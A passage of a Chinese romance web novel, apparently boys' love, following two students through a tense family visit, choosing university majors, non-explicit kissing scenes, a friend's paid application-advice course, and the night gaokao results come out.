〔“第一千三百九十四章:我才是真神。从森林深处走出来……”〕 易承听笑了:“……” 他不太想给脑子留下什么烂片,便看向许桑。 从店里出来,许桑情绪便一直不对,一言不发的。情绪最易在安静里发酵,所以他试图打破沉默,直到现在有声小说接替了他的活。 但……他挠了下许桑的手背,压过去轻声问:“没什么想跟我说的?” 许桑低下头,眸光淡淡地看着他,眼里似带着些忧郁,就像蒙了层雨雾,他嗓音有些哑,所以唇瓣几乎是贴着易承的耳垂:“有。” 易承忍着耳垂的痒意:“那你说,我听。” “别因为我,”许桑牵出一抹冷笑,“给他们任何不想给的微笑。” 他们?易承品了下词,“好。” 见许桑面色还没如常,他又补了句:“你让我笑,我才笑。”- 进门时,有个二十三四岁的男人笑嘻嘻地迎来:“大桑,欢迎回来。” 许桑只很轻地点了下头。 林迟视线一转,稍显惊讶地说:“这是朋友?快请进。” 易承绷着脸跟他欠了下身,算是礼貌。 正是晚餐时间,屋内气氛暖融融的。偌大的房间里,很弱的钢琴声在流转,而餐桌之上,三人正吃得喜气洋洋。 林迟在前,小碎步跑去跟许铭说了句什么,许铭骤然一笑:“快添副碗筷。” “还带了个朋友。”林迟补充。 许铭忙撤回吩咐:“两副两副。” “谁啊?”许降把筷子一丢,面露不耐烦地皱眉:“有没有教养?在别人吃饭的时候来打扰。” 进屋时,这话正好落入耳中。易承偏头看了眼许桑的脸色,依旧很冷。他看向说话的人,只有个后脑勺。 “别乱说话。”许铭站起来身来,“许桑,快来,快来。我盼你好几天,终于回来了!” 许桑掀起眼皮,冷冰冰地朝那边扫了一眼:“见到了,那我走了。” 说完,他就要转身。 林迟机灵转身,飞快上身把门关上了。 许桑看向他。 周身跟爬了寒冰虫一样,林迟一缩,但还是死守着门:“大桑,你爸天天念叨,都快想死你了。” “哥哥啊,”许降回头看了眼,“哟呵,我以为这辈子都见不到哥哥了。哥哥不想回家吃饭就走啊,我陪着爸爸就是了。” 从许桑进门起面色便一改的女人站起身,理了下开叉旗袍,细声:“大桑回来了,快来坐下,今晚可是我亲手下厨,虽然不比你妈做的好吃,但你爸都连吃四五碗了呢,你来尝尝?” 易承鸡皮疙瘩都听出来了:“……” 他抖了一下,心想:难怪许桑不愿意回家,待久了人容易麻。 许桑站得笔直,眼波平静到看不清情绪,半分钟后,他拉着易承,坐在了客厅沙发上,耳语一句:“抱歉,不该带你来。” “还行吧。”易承接过林迟递来的橘汁,尝了一口后递给许桑。 看着许桑自然而然接过并喝了小口,林迟递上第二杯的手一个大劈叉,差点倒地上。 他把杯子放好:“……” 许降回头看了眼,瘪瘪嘴:“好没意思,浪费一副碗筷。哥哥怎么越发不解风情了,谁的脸都想打两下。这可不好玩,挺没教养的。” “吃你的饭。”许铭把碗筷放下,“最近脸僵,打打挺好的。” 许降差点被鱼刺卡死:“……” 他转过头:“妈,你看看爸,有必要这么偏心吗?” “先别说话。”谭希灵用筷子把点了他一下,“乖乖把饭吃完。许桑住不久,照他的性子,听你爸叨叨完立马就要走。” “行吧。”许降瘪嘴。 许铭坐过来,笑着问道:“昨天考完的,是吧?” 许桑冷冷地回答:“是。” “我记得我让希灵去接你来着,她说人多走丢了。”许铭搓搓手,“爸给你削个苹果……我听说,今年的卷子有点难,数学考卷都上热搜第一了。” 许桑平静地喝了口橙汁:“数学卷年年上热搜。” 许铭脑袋一缩,继续说:“没事,我听你们袁老师说,你的成绩绝对绝对没问题。就是小降蛮让人担心的……不谈这个,最近很累是不是,我看你都瘦了。来,吃苹果。” 许桑低头看了眼:苹果皮塞苹果果肉厚了。 他没接:“……” “哦,削得不好看是不是。”许铭一口把苹果咬进嘴里,抄起水果刀:“那我再削一个。” 易承轻一皱眉:“叔,我来吧。” 许铭一愣,看向易承时,眼里闪过一丝意外,他迟疑地把刀反着递过来:“好。” “小降说想出国玩玩。你呢,要不要一起去?”许铭把苹果咬断,迅速嚼完才说话:“还是说,你想去别的地方,跟爸说,我都尽力安排……” 易承把削成长长一条的果皮扔垃圾桶里,片了块,就着刀尖,递到许桑嘴边。 许桑熟练地咬住,“嗯”了一声。 易承则继续片,中途许桑咬断的,他便“刀尖舔血”似的把剩下的那一小截带进口腔,嚼碎咽下。 许铭说着思绪飘了,看着这俩人一来二去,就差在脑门上写个“唯手熟尔”了,他灵机一动,转向易承:“这位同学,怎么称呼啊?” “易承。” “哦,易同学啊。”许铭笑着,“今晚要不在这住一晚上?想要什么都跟叔说,我都能满足。” “是吗?”易承把剩下的半个苹果反了个面,按自己答应许桑的,不笑。 许铭愣了下:这小子居然也有几分气场。 他点头:“是啊。你想要什么,跟叔说说,我听听。” “我想要,”易承抽了张纸把水果刀擦拭着,下巴往旁边一抬:“那位兄弟的道歉。” 许桑和许铭都没太反应过来,许铭没稳住:“啊?” “许桑是应您要求回来的。”易承把苹果扔垃圾桶里,抬眸时冷声:“一非不速之客,二未出言打搅,不知哪来的‘打扰’。” 他声音不高,但正巧是在许降离座并朝这边走来时说的,理论上来讲许降听得见。 “另外,即便许桑是客,也该得到基本的尊重。”易承把擦拭好的水果刀折叠好,不轻不重但足有气场地放回桌面:“何况还是兄弟关系。不知从这层面来讲,没教养的是谁。” 许降走回来的脚步一趔趄,差点扑棱在地,他脸色一白:“你胡说八道些什么?” “听到了啊。”易承抬眼看他,“那道歉吧。” “你,”许降皱起眉来。 “我怎么?”易承指尖一点:“我给你起个头?” 即便是坐着仰头在看人,可眉眼间却无半分示弱,相反带着些威严,乍一看有些凶。 许桑微怔,看着易承的脸,心情有些难以形容:他没想到会有一个人,为他力争些什么。 “我,”许降被这个眼神逼得说不出话,鬼使神差地说了句:“对不起。” “听到没?”易承转头看许桑,眼里杂着些不同方才的温柔:“说话。” 许桑点头:“听到了。” “那行。”易承又转回去:“我没事了,你们自便。” “……”许降捂着嘴,不相信自己刚才说了什么。 许铭嘴都没合拢过,尤其是看到许桑偏头笑了时,他愣愣地看着易承:“你。” 易承挑了下眉,打趣道:“抱歉啊,没让您帮上忙。” “……”许铭咽了口口水。 谭希灵在旁边把这出戏看完,皱了皱她的柳叶眉,只能圆润地打个滑头,起身坐过来:“你们聊什么呢?我让人把大桑的床收拾好了,这位同学就勉强住下客房喽?” 许降扭头就跑回房间,砰地一声,二楼的甩门声都传下来了。 许铭阿巴阿巴好久,才咽声:“今晚就先住下吧,好不好?”- 许桑从抽屉里翻出一副新牙具,拆了后递给易承:“呐。” “谢了。”易承跟他挤在一起,终于笑了次:“我第一次见到,这样式的父子相处模式。” 许桑看了他一眼,继续刷牙。 牙膏里的薄荷香飘出来,易承嗅了嗅,小声地问了句:“如果没有那两位,你会回来的吧?” 许桑刷牙的动作停住,良久,才小幅度地点了下头。 “那我明白了。”易承笑说。 许桑擦嘴时问道:“明白什么?” “亲我一下,我告诉你。”易承耍滑。 “……”许桑吞咽了次,才倾身,轻轻压在他唇间,柔软相触,他正想退开,后腰便被箍住,他被迫往前倾身,这个吻便更深。 直至呼吸凌乱,许桑才从中挣脱,浮音问道:“够了?” “不够。”易承勾唇一笑,猜到许桑的下一步了一样,拉开门便飞窜出去。 许桑在原地伫立良久,才后知后觉地笑了声。 回到客房时,易承正跟许桑聊着天,门便被叩响,他歪了下头,“进。” “你好啊。”许降走进来,将门反锁上,坐到了易承床上,“你跟许桑什么关系?” 易承低眸,看了眼他坐的地方,冷眼:“你不能碰我床的关系。” “……”许降立时站了起来,他抽过一旁的凳子坐下:“我告诉你,要是再发生今天这样的事情,我绝对让你吃不了兜着走。” 易承挑了下眉:“我有个问题。” “你问。”许降双手抱胸。 易承:“智商过百了吗?” 许降哽声:“……” 软柿子还不是一般的软。易承勾了下唇:“但凡日后你再欺负许桑一次,我能让你每一天都过得像今天。” 许降咽了把口水,他伸手一指:“你不要太过分。” “这就过分了?”易承冷笑一声,“许桑动不了你,我可有的是手段。” “别以为口头上能吓唬到我!”许降情绪一激动,往后一仰,凳子差点翻过去,他惊魂未定地坐直:“我才不怕呢。” “那还真棒啊。”易承给他鼓了两声掌。 五分钟后,许降颤颤巍巍地走了出去,隔音效果还算不错的房间里,都能传进走廊上的一声高呼。 “啧。”易承看了眼许桑最后一条消息。 【许桑:你在做什么?】 【易承:没怎么,逗了只猴。】 【许桑:来我房间。】 第87章 第87章 【“说真的,我体能好着呢。…… 啧。 易承从床下下去, 蹬上鞋,不知道谁给的心虚劲儿,总之脚步极轻地溜了出去, 到许桑门口时,正琢磨着怎么敲门能让外面的人听不见、里面的人还门清…… 门打开了。 许桑裹着浴袍,眉眼淡淡地望过来:“做贼吗?” 易承应他话似的退后一步左顾右盼。 许桑:“……” 他伸手把易承给拽了进来,压墙上时把门轻轻关上了。 “啧。”易承笑了声, “我那行头顶多偷人,你这动作——” 他主动凑过去, 调戏道:“倒像是偷腥了。” “你情我愿叫什么偷。”许桑不吃他这一套, 看向易承时才意识到这是个什么姿势,他几乎把易承罩在自己身子之下,尤其是把易承劲瘦的手腕按墙上,怪让人浮想联翩的。 他松开手,虚虚咳了声后,声线尽量平稳地说道:“带你学习。” “学习?”易承笑了声, 走到他书桌面前,看了眼摆设。 一台笔记本电脑,两张折叠好后光森森的白纸,两只普通签字笔。 他看了眼电脑屏幕:还未进行的搜索引擎。他想了想:“难不成想了解志愿?” 许桑端起水杯喝了口,认真地点了下头:“嗯。” 易承坐他床边,歪了下头:“城市,学校,专业, 我的权重,五三二,估摸了成绩, 就差专业没考虑。” 许桑点了下头,“一样。” 易承把电脑端到腿上,扒拉两下点到官方志愿网站,把一二级大类志业都调出来,手指灵活点动时,问道:“想学什么?” 许桑在他旁边坐下,反问:“你呢?” “我?”易承偏了下头:“我没想好要不要继续学。” 许桑:“嗯?” 易承随手点进一个大类专业:“公安学类”,顺手再点进去,看着“禁毒学、警犬技术、经济犯罪侦查……消防政治工作”的特设专业,脑子咯噔了一下:“有意思啊。” “……”许桑伸手把后面那行字标红。 〔特点及未来发展空间:就业前景稳定,但工作相对比较辛苦,有时会遇到具有一定风险的特殊情况。〕 易承笑了一声:“我看起来怕风险?” 许桑没说话,只是机械地又把另一行长字标红。 〔具备能力要求:对身体条件、体能条件等有一定要求。在校学习知识面广,如法律……格斗与驾驶技术等。工作后……〕 “哪点我没有?”易承硬是跟他杠上了:“学习能力?身体条件?体能条件——咱比比,你试试?” “……”许桑双击撤回了标红,问他:“这些隶属的大类是什么?” 易承看了眼:“03法学门类。” 许桑笑了笑:“原来人没傻。” “……”易承手臂横过去搭他肩上,反击他刚才那句习惯性的嘲讽一样,压他耳边说了句:“说真的,我体能好着呢。” “嗯……”许桑偏了下头,默了两秒后严肃出声:“07理学门类,点开。” “嗯哼。”易承坐回来,唇角压着笑地将一级专业点开,看了眼后,说道:“具备能力要求:悟性也许比努力更重要。一句话不知道劝退多少人。” “劝退你了?”许桑看了眼:数学类专业。 “我说挑起我斗志了呢?”易承笑道,“备选上。” 许桑被他操作逗乐了:“……” 他认真地问道:“你真没什么想法?” 易承也跟着正经起来,说道:“有,只是还在想。” “我在想,大学会不会有些事比专业学习更重要,即使这专业是我梦想的专业。” “可能。”许桑看向他。 “高考前我可能还把学习视做出路,但我不是很想、把四年后的几十年,押注在这一专业选择上。”易承伸手点了下屏幕:“带你看个东西。” “口腔医学。”易承念了一遍后,输入目前最大的工作招聘网站,定位在首都,推进后说道:“看,别说三四线城市,就连一二线大城市,招聘要求百分之五十只是本科及以上,而剩下的,中专、高职都招……不限学历的招工,意味着就业空缺极大,前景很美。” 他又点开另一个专业,输入后说道:“像这个专业,都第四页了,招聘要求居然还有研究生。学历贬值不知道百分之几百——而这同样高居视频网上热门专业前三。专业领域里,有各自的学历价值,而我不认为这些价值里,有我想要的东西。” 很在理。许桑有些惊讶地问道:“研究过?” 易承点头:“嗯。” “专业落后市场至少五年半,这是我之前了解的。”许桑说道,“但对我来说,不重要。我们一直是站在巨人的肩膀上看世界,有些时间差,是值得给予的。所以,我可能会坚定地选择数学,保不齐它有那么些年岁的泡沫增长。” “搞研究?”易承品了品,“是比我有情怀。” 许桑白了他一眼:“那我听听你要多没情怀?” “哈哈…”易承把电脑推到桌面,坐回来往后一仰,直接躺在了软乎乎的薄被子上,“我再想想。” 许桑追上去问道:“所以那么大一堆铺垫,就是纯铺垫?” “嗯。”易承抬眼,此时许桑一手撑在他肩旁,肩背将头顶的灯光遮掩住,垂着眼在看他……易承喉结滚了下,不自觉说了句:“我现在,好像有件更没情怀的事想做。” 许桑直觉不妙:“嗯?” 易承勾了下唇,腰腹发力直接挺起,跟做仰卧起坐一样,精准地仰头贴住了许桑的唇,手不安分地扣住他后脑勺,朝自己压下。 “嗯……”许桑重心不稳,撑着床的手一滑,差点结实砸易承身上:“一晚上两次了,还不够?” “那你邀我来你房间?”易承说完,才重新躺下去,顺便手扣住许桑的腰,将他带到自己身旁躺下,“这一吻,就当路程补贴了。” 两步路累死他了……许桑哼笑一声,“我邀你来学习。” “来之前,车上我还真翻来覆去研究过。”易承忽然翻身,手肘横杵在许桑耳边,俯身,深情盯着许桑的眼,期间瞄了两次他红润的唇,“讲到学习,我来教你接吻?” 话落,耳垂便浮上一抹绯红。许桑偏过头去,随着心跳加快,他很别扭地回答:“不要。” “那你之前是不是欠我点什么?” 许桑疑惑:“又欠?” 易承轻笑:“嗯。或者不教也行,我怎么唤你,你怎么唤我。” 许桑不明所以地应了:“好。” 易承顿了下,“宝贝。” 喊完,把自己腻歪到了一样,他屈膝跪在床沿,直接趴在许桑肩颈处,不抬头了。 许桑:“……” 夏天衣物本就寥寥,方才玩闹间,浴袍有些凌乱,加之易承这一乱蹭,完全就相当于:易承温热的鼻息在他颈侧游走,还是片衣不带的颈侧。 他呼吸紧了一分:“易承,抬头。” 易承应声抬头:“嗯——” 许桑仰头,一口咬住了他锁骨,故意用齿尖轻磨,感受到易承的瞬间紧绷,他怕真把易承弄疼,舌尖又轻轻带过。 如是反复几次后,他仰头,轻轻吻住了易承,试探性地挑了下他牙关,感受到易承的迟疑,他伸手,五指大开地扣住他后脑勺,往下压。 通畅了。许桑抬了些头,有几分照猫画虎的样子,轻佻地勾了下他舌尖,太滑没勾住,他轻一皱眉,不耐地继续深入,探了个七七八八,他终于能熟练地找寻想要去的地方,勾缠上对方舌尖、再到舌腹后,许桑闭上眼,才轻柔地用力。 “靠。”易承差点没顶住,往后一退又被狠力带回,只得被迫吻到许桑没多余精力。 许桑心头跳得厉害,呼吸半天才找回节奏,他喘着,气息乱得同他心跳频率一样,半晌,像是羞了,他后知后觉捞过被子蒙住眼。 特意等呼吸基本平稳,他才小声说道:“用你教?” 易承吞咽了两次,端过水杯喝了口后,坐在许桑腰侧,上手,手心紧贴着他心脏,感受着扑通扑通的快节奏,他笑说:“慌成这样?” 许桑一没睁眼二没说话。 “喝口水。”易承服软,指尖挑了挑他下巴窝。 许桑摇头:“不喝。” “补充水分。”易承又俯下去:“有没有感觉是个体力活?” “还好。”许桑指尖一点,趁着臂长优势,想啪地一声关掉灯,但才伸到一半,手腕便被攥住。 易承看着剩余的大半杯,又喝了口,说道:“起来喝水,不然我喂你了。” 许桑坐起来,端过水杯,仰头几口喝尽,“行了?” “行了。”易承笑笑:“还喝吗?” 许桑摇头:“不用。” 易承把玻璃杯放回桌面:“我想喝。” “我书包里有瓶矿——” 许桑的话被打断,因为有人轻轻采撷走了他唇角的水珠。 他愣了两秒,看清易承已经到门口的背影,笑了- 早餐时,除了许降,其余人都在场。 “多吃点,白天才有精神。”许铭把三明治推到许桑面前,“你看你,都瘦了好多。” 许桑接住:“谢谢。” 谭希灵则是殷切地看着易承:“你也多吃点,都是正长身体的年纪……看这张脸蛋,生得是多俊俏。” “谢谢。”易承没笑,只淡淡回复。 安安静静把一顿饭吃完,许降才走下来,看到易承时,下意识往旁边咧了一步,才皱着脸去餐桌上吃热着的面包牛奶。 —“妈,牛奶喝腻了,我想喝豆浆!” —“等等,我给你打。” —“妈,我想听听今早的新闻,能不能放着,我边吃边听。” —“这个点新闻结束了吧。” —“妈,家里多了两个人我不舒服,我能不能出去玩?” —“去去去。” 将近中午饭时,娇小姐似的许降出门了。偌大的房子里,除了在外除草玩、出门买菜的保姆外,只剩下三人。 谭希灵四处张望了一圈,才在许桑旁边坐下,温柔地开口:“大桑,小降是我儿子。” 许桑咬红提的动作顿住,他应了声:“嗯。” “如果他因为你的回来而不高兴,那我希望,”谭希灵笑得很慈祥,“那我希望你能早些离开。他不像你,什么苦都吃过,细皮嫩肉的,经不起风吹雨淋。” 像是早料到有这话一样,许桑平静地看向她。 只是,还没等他像平时一样点头时,易承在旁边笑了声:“阿姨。” 谭希灵看过去:“易同学。” “有的人,颜值天然出众,各方面也不赖。”易承皮笑肉不笑,“有的人,颜值还行,却是用所有的优点换置的。” “什么意思?”谭希灵攥了下拳头,明知故问。 “原来智商是儿子随妈。”易承讽了句,“您刚说的话,先不为难您去谈逻辑,只谈伦理,挺背德的。” 很少对上这么直白的话,谭希灵下意识转过头去找人,可回想起屋子里各个地方的人都被自己支开了。 她看着易承,“你说这话,合适吗?” “那您说的话,合适吗?”易承单手托腮,歪了歪头。 “我,”谭希灵没坐住,身子滑溜了两下,险些摔地上。 “连听两次对不起会不会腻了?”易承偏头看着许桑,眼里是急转的温柔,他若有所思地说道:“阿姨,不如我们做道题?” 她居然叫一小子横住了。谭希灵一怔:“什么?” 易承挑眉:“找找您方才那番话的逻辑错误。” 见谭希灵猛地一抖,他补充:“记不住原话?我来复述?” “……”谭希灵拧眉:“难怪小降昨晚跑我面前哭,你这人还真是咄咄逼人。” 易承:“哭了?” 谭希灵:“……我难不成骗你?” 易承冷笑一声:“我当场哭一个,也能证明您咄咄逼人了?” “你怎么说话呢。”谭希灵咬着牙,“我不跟你计较是我有肚量,你还蹬鼻子上脸了。” 易承没理会,只提醒:“逻辑漏洞。” 谭希灵气得心脏疼:“你——” “我?”易承接话:“要我提醒?” 谭希灵:“……”脸皮比梁意杉的还厚。 “首先因果不对,听你家司机说,高考考完当晚,你儿子狂灌十瓶啤酒,骂了一路的街,不知道这种情绪,能跟高兴沾边吗?更不知道这点情绪跟许桑何关。其次,目的手段不符。想遮风挡雨,除的不该是许桑,而是天公,阿姨您努把力,这我不敢说胜率。最后,您的立场呢?是以许铭妻子的身份、许降母亲的身份还是什么?既然要私了,法律关系便暂时抛置一旁。无一与许桑有关,请问一个陌生人的‘希望’,价值有二两吗?” 这一通说完,谭希灵彻底噤声了,她好半天才底气不足地说了句:“大桑,也算我的儿子。” “这样啊。”易承冷呵一声,“素不相识的人都能问候到对方祖宗十八代,阿姨您除了儿子便是自个儿,我听半天,以为你俩没关系呢。” 谭希灵瞪了眼他:“……大桑,阿姨说错话了,你在家想住多久住多久。” 许桑没答,只是看向易承,静静看着,一丝一毫都不错过。 他轻声说道:“谢谢。” “嗯。”易承坐下,看着谭希灵逐渐走远,轻声: “下次不必忍耐。可能你的考量是:闹僵了,烂摊子终归由你爸处理,所以你宁愿闹掰的是你和你爸。但事实是,自家后花园自家打理,‘花草’出了院子,便是独立的。受了欺负还回去,这是应当,不是过当。至于这残花败草最终溜回去找谁哭,怎么着,许桑,你这么想去管别人的后花园?” 许桑沉思良久后,轻笑:“不想。” “嗯。”易承把剥好的红提放他嘴里:“对了,李承宇让我牵个头,我拉了个群,半小时后开群聊天。” 许桑看了眼手机:“做什么?” “不知道。”易承擦指尖,“估计赤色馆想宰宰我们这批肥羊?” 许桑一笑:“人工费不算成本那套?” “这话有水平。” 易承笑了笑:说不定李承宇挨个劝,废的口水、精力时间甚至网费,加起来还不抵一顿餐的利润- “我瞅瞅,你们这都是在哪逍遥自在呢?”李承宇贼眉鼠眼地看屏幕,“我怎么闻到了酒味?还有阳光沙滩椅的味道?” “几年前的鼻子了?”吕丁咂嘴:“咋听着这么落后。” 李承宇:“……” 他正经起来:“那什么,就当感谢你们当初的捧场啊,我作为过来人,指导指导你们。” “哟呵!” “安静点,我李氏独门秘技,别人花钱都买不来的呢。”李承宇东西看了眼,“咋感觉除了易承和许桑,你们都在外面玩?” 易承托腮说了句:“我俩在书房。” “这么高级?”吕丁一闷头:“我们在摩天轮上,鸿途和小梁在另一架上。” 李承宇:“果然得有高人指点。你们不打算研究研究志愿的事情?” 吕丁挠头:“还早呢,不是十几天后成绩才出来,急什么?” 梁意杉咂摸:“现在不都有AI了,直接输入分数智能评估?” 陈慢说道:“我爸找了个专业团队,说是包上的!” ……李承宇听完,眉毛都皱成麻花了:“我问你们一个问题,平时大型联考成绩几天出?” “最快两三天,最慢三四天。” “那为什么高考成绩十几二十天才出?”李承宇问道:“关键是每年都有老师跟你们讲高考阅卷速度极快且要求你们讲究书写吧?说明速度不是原因。那原因是什么呢?” 聊天室里沉默了。 “这不明摆着留时间给你们研究志愿填报吗?”李承宇看傻子一样把几个人头扫过,“这个小假,更准确来说,是属于学神和学渣渣的,除了许桑和易承,估计你们没资格玩吧?” 除许桑易承外的聊天室成员:“………………” “而且就那么相信别人给你填的吗?有没有想过,填报志愿,是你们成年后走的第一步,这么关键的一步,你们居然想找人代步?” 李承宇挺会把局的,尤其会带动气氛。 “知道有些人多傻缺吗?开学报道当天,才知道自己学校原来在深山角落。还有些人连寝室有无独立卫浴都不清楚,憧憬半天结果啥也没有。” “知道好大学其实是分社会认知的和个人特性的吗?知道专业选择需要看什么吗?考研方向,培养目标,难度,能力要求,就业前景、方向、薪资、行业及地区分布薪资排名情况,发展潜力,国内经济形势,人工智能形势……这些你们不需要了解吗?学校层次头衔排名、学术实力、规划指标、就业综合满意度、生活环境、男女比例、宿舍、地理位置、娱乐设施、学风……这些你们以为都不重要吗?” 听到后期聊天室除了李承宇,完全没声了:“……” 等他消停下来,吕丁问:“那什么,了解男女比例干嘛?” “诶哟,大学不谈恋爱,打算什么时候谈?”李承宇笑道:“不看男女比例怎么行?” 吕丁鼓掌:“我靠,有道理啊。” “另外有些概念,像省控线、投档线、提档线、调档线、分数清、专业级差、专业清……你们了解吗?如果什么都不知道便稀里糊涂地填报,是真的挺不划算。有些苦,是发生得莫名其妙,还是在做计划时能够预见,是可选择的。好的选择,是化被动为主动,我希望你们能在充分了解规则的基础上,做出一个不后悔的选择。而不是谁都能为你的生活负责,那就丧失主动权了,明白吗?” 梁意杉嚯了一声:“我的个乖乖,振聋发聩啊!” “这才哪到哪,你以为为什么有些人靠讲志愿吃喝不愁,就是因为你们不愿意也不想花时间去了解。”李承宇嘿嘿一笑:“这是门系统的学问,一旦学会,我打包票,每年填志愿这段时间,你们只是把这些专业词汇讲明白都能赚得盆满钵满。” 吕丁上道:“那辛苦李哥,我愿洗耳恭听!” “态度极好。”李承宇又吧啦了一大堆:“给我十天时间,我让你们掌握全面的信息、科学的决策流程,并且通过霍兰德、MBTI等手段充分了解自己,真正做到自己做决定。” “我靠靠靠,听得我好激动!” “我愿在这十天,坚定地追随李哥,等我回南城,天天去赤色馆下馆子捧生意!” “所以这是白白捡了十天的课——一想到全国那么多麻瓜还在玩,而我已经开始学习,嚯嚯,想想都牛逼。” 等激情发言结束,李承宇坚定地说道:“原价五百九十九,念在大家都是兄弟,三百九十九,我给到你们想要的‘倾囊相授’。” “………………” 聊天戛然而止,就连气氛都变得微妙了不少。 李承宇苦笑了一声:他就知道,一提钱,再厉害的铺垫都是扯淡,即使他字字句句都是肺腑之言,也是自己真刀实枪研究后的成果。 “行吧,那我报了,幸好不是九千九百九十九,那可是我能力范围之外了。” “加我一个喽,刚才免费听了那么多,感觉挺值的。” 李承宇一愣:“啊?你们居然这么配合?” 赵鸿途起了个头:“我记得许哥说过,‘没有代价,放弃的成本是很低的。’而且本来知识付费就是真理。” “对,而且高考前花我所有积蓄买的课,我是真从头到尾学完的,每次想到少看一集浪费的是多少钱,我就拼命想学。”吕丁点点头:“许哥说的没错!” 许桑顿住,有些微微发愣。 “也是有影响力的人了。”易承轻轻拨了他一下,“许哥。” 许桑看向他,良久才笑了:“嗯。” 李承宇也没骗人,第一时间拉好群后,便哐啷发了一堆书。 《中国一级二级专业大类介绍.pdf》、《果壳帮你选专业.pdf》…… 【承宇师哥:我真宠你们哈。】 【承宇师哥:跟我走,我让你们开学进校第一天,比大三的还了解你们学校。】 【学员1号吕丁:哦莫哦莫。】 【承宇师哥:浅浅秀两招。】 烟花、礼炮炸了满群聊。 易承歪头:“这人还真挺有本事。” “嗯。”许桑认同:“听说赤色馆已经试着小规模试点加盟了,能力确实强。” 易承偏了下头,看清群聊内容时,“噗嗤”笑出了声。 许桑跟着看过去。 【承宇师哥:这个时间段,群聊爆多,随便混进想了解学校的群聊,群人数越多越好。第一步,爆照。要好看的哈,自己硬条件不行就找氛围感型,氛围感都救不了就找网图,反正第一眼要帅要美,准有人加你。然后嘴甜一点,想要什么什么都知道,问不出来加点金币……】 【承宇师哥:想了解学校环境怎么办?去翻学校官网去年九月份开学视频,基本真实。没把人诓进学校前,肯定是顶级精修;但到九月份,人已经被诓进来了,这时候就没必要再遮掩,更多的是介绍真实情况,不然那么多傻逼新生啥都不知道,那搞个屁……你们找这种视频,打假一看一个准。】 【学员3号梁意杉:可以啊,比我网上刷视频讲的细多了。】 【学员1号吕丁:被牛逼到了。】 【学员4号赵鸿途:牛逼牛逼。不过为什么许哥也报了?】 【承宇师哥:我拉他进来的。】 【承宇师哥:让你们感受一下、有天赋还努力的人带来的压迫感。】 许桑:“……” 李承宇说休息一天,两天后开始讲解,所以这会一直在群里分享些有意思的、带点颜色的旧案例。 看了些许,易承偏头说道:“他了解的比我多。” “嗯。”许桑笑道:“但你不需要了解那么多。” “也是。”易承伸了个懒腰,“喝水吗?我下楼接一杯。” 许桑站起来:“我一起。” 家里基本没人,谭希灵接了通电话后便盛装出去了,只有买菜回家后一顿大干特干的男人,双手抱胸地看着并肩下楼的两人。 许桑脚步一顿:“怎么?” 男人还挺委屈:“饭做了没人吃。” 易承牵了抹笑:“要邀请就直说,别拐弯抹角的。” “……”男人嘿嘿一笑:“好吧,那我邀请你们品尝品尝我做的大餐!” 将近一点吃的午饭,吃完没敢出去,这个点,正是热的时候。 易承转了圈笔,看向许桑的电脑屏幕:“在看什么?” “专业课。”许桑把屏幕转向他,“看能不能跟得上。” 易承“哦”了一声:“那我也听听。” 视频资源来自某知名大学教学视频,网站视频播放量破百万。 易承偏了下头,忽然想起李承宇的分享。 【承宇师兄:如何判断专业难度?上某站搜专业名称,看教学视频的视频播放量。越多,就证明难度越大,因为学会了你还看什么……越少,那证明这专业挺水,期末周抱佛脚一抱一个稳。】 系列第三个一小时视频结束后,易承偏头:“很难吗?” “还行。”许桑看了眼视频提要,直接连跳三个:“再看看。” 又一个视频看完,易承趴在横折的臂弯里,歪头,含糊不清地说道:“是不是得疯玩三个月,脑子玩光滑了,才配上大学?” 许桑笑着,好一会才点进下一个视频。 视频里老师在复盘前面的知识点,没必要听,许桑目光一转,轻声问道:“易承,期待大学吗?” “嗯,期待。”虽然批斗了一会,但打心眼里,易承点头:“就跟期待未来一样。” 许桑握上他的手,微微用力攥紧:“我也期待。” 稍作停顿,他笑着说道:“期待我们的未来。” 【正文完】 第88章 第88章 【“反应真快。”…… 高考成绩出来那天晚上, 老徐说话算数,自费买了几箱烟花,在学校门口点燃。 “嗖嗖——轰——嘭嘭嘭!” 六箱接二连三炸完之后, 浓烟四起,把庆祝好消息的老师们都呛了个半死。 当然,不出意外的,徐富被执法了。 “没事, 花点钱给孩子们买个乐子!罚金400,我图吉利, 愣是给人塞了666块!”老徐看着陆续扩增的成绩统计问卷, 在系统算法里诸多排名一增一减、忽上忽下,心都要揪爆了,他左抖抖右擞擞:“怎么比我当年自己查分还慌张!” 而此时的“五虎上将”群聊有些火热。 【不识好人丁:我来作法了,看我一招吸走宇宙中所有的好运——开!】 【慢即是快(好运上身版):我卡住了,这什么破系统!】 【不识好人丁:啊啊啊啊啊啊啊!!】 【不识好人丁:哪个傻逼说的网卡,我还没准备好, 数字就已经跳进我眼睛里了!!】 【不识好人丁:我嘞个亲爹啊,我居然我居然——啊啊!】 【一马平川:我中规中矩,没绷也没飞,还行。】 【慢即是快(好运上身版):我的也卡出来了,然后,好像还行。】 【慢即是快(好运应验版):那什么,没人要哭吧?】 【一马平川:不至于哭,能笑吧。】 【不识好人丁:笑还来不及, 哭毛线啊。】 【慢即是快(好运应验版):那好,我@易承了。】 【不识好人丁:靠,我也来, @许桑。】 【一马平川:我烟花已经准备好了,只待喜报一出、立马刷屏。】 …… 【不识好人丁:@易承,@许桑,你俩干嘛呢?】 【慢即是快(好运应验版):@易承,@许桑,不会哭的是你们俩吧?】 等待良久,赵鸿途机器人上身刷了几十条表情包后,被@良久的人终于有了些动静。 【易承:扰人清梦,有礼貌吗?】 【不识好人丁:……………………………………………………】 【不识好人丁:大哥,晚十点出成绩,睡个屁的觉啊。】 【易承:〔图片〕】 【慢即是快(死舔易哥版):我靠!我靠!我靠!】 【一马平川:学校速度这么快,喜报都列出来了!】 【许桑:恭喜。】 【不识好人丁:易哥不愧是易哥。】 【不识好人丁:来都来了,@许桑,许哥呢?】 【许桑:明天下午两点,出成绩。】 【不识好人丁:啊?这么会憋成绩,新高考真讲究啊。】 【一马平川:我相信许哥,绝对没问题。】 【易承:睡了,你们继续。】 【许桑:睡了,你们继续。】 【不识好人丁:???】 【慢即是快(死舔易哥许哥版):???】 【一马平川:???】 …… 漫长而凌乱的志愿填报期一过,陆陆续续地,录取通知书按照地址统一送往学校。 徐富搬了个板凳坐在学校收件室门口,在保证吹到空调的情况下,尽可能地往外挪,以便更早些捕捉到自己班的学生。 他回头看了眼,本科一批的录取通知书基本已经到位,在几个长条桌上,堆出了山的厚度,颜色各异、厚薄不一,承载的却同是三年的果实。 他检查学生带来的身份证,监督着学生把姓名及联系方式写好,而后带走自己种下的“果实”……一来二去,天色有了转暗的趋势。 “老徐,我们回来啦!” 